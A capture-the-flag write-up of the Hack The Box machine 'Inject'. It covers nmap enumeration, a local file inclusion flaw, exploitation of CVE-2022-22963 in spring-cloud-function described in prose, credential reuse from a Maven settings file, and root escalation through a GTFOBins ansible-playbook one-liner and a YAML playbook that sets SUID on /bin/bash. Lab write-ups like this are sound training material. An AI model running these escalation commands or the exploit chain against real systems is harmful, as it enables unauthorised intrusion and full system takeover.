HTB Writeup | Inject
DISCLAIMER
The
Inject
box is still live on HTB. This writeup is meant to help those who are having difficulties with the box. If you have not attempted the box yet, I recommend that you try and complete the box entirely without the assistance of this writeup.
Also, I messed up while taking screenshots and trying to give them borders so the screenshots are destroyed now and I’m too lazy to get them again (at least for now). Any text that is surrounded with “!” is alt text for an image that would be there. Admittedly the images aren’t that important with the exception of the first one showing the website, but if you’re recreating the attack it really doesn’t matter that much since it’s the first thing you see at the link.
ENUMERATION
After spawning the box at an ip, referred to as inject.htb
from now on, it’s time to enumerate the system. Firstly, running nmap with nmap -sV -sC inject.htb -oG inject.scan
is how I normally start. The flags -sV
and -sC
runs nmap to probe and determine hosted services and versions along with running the basic nmap scripts against the host. Really just helps to open up the services and might point us to the answer immediately. Here we can see the results that we found:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 18:42 EDT
Nmap scan report for inject.htb (10.129.35.139)
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
Here we can see ssh
is open like always, but something open on port 8080
is a bit new. Checking it out in a web browser, you can see the following:
We could try to attack the login, but I decided to go to the file upload. I tried making a basic image with proper magic bytes and a small php reverse shell and uploaded it. It didn’t work, but we can see in this url that there might be an insecure parameter here. After fuzzing it, we get this Local File Inclusion vulnerability.
LEVERAGING LFI
Directory listing works with the LFI, so after checking the directories around the webapp, I found the pom.xml
file in the web directory:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
This gets us spring-cloud-function 3.2.2
which is vulnerable to CVE-2022-22963. Using this, we should be able to send post requests to the /functionRouter
endpoint that execute code on the other side of the box. Once you have RCE, you’re in. You host a reverse shell on your host, download it to the remote box, and then execute it to connect and get in.
Now we’re logged in as the account phil
, but looking in his home directory there isn’t user.txt
. Instead it’s in frank
’s directory, so let’s take a look at that LFI again and see if we can read anything with it. Taking another peek in with the LFI, there’s a file in /home/frank
with some information about logins (password removed):
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>[[[REDACTED]]]</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
If we login to phil
using the creds we found, we’re now in with user.txt:
ESCALATE TO ROOT
Looking around at software that’s installed, there’s ansible-playbook
which runs playbooks with sudo permissions regularly. Referencing This entry at GTFOBins we can write a malicious ansible YAML and get sudo permissions:
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
and a malicious YAML
- hosts: localhost
tasks:
- name: Priv esc
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
and it runs to give us a sudo shell. Once you get the malicious YAML file in, wait till it runs (probably a few minutes) and then you have root:
AFTER ACTION
I really enjoyed doing this box, and I hope that this writeup is helpful enough but also not too helpful. It being named ‘inject’ threw me off and I spent a good 4 hours trying SQLi or file upload attacks because of it.
Also, sorry about the lack of images. I messed up with magick and really didn’t feel like recreating this a third time to get new pictures so I’ll describe what was there instead.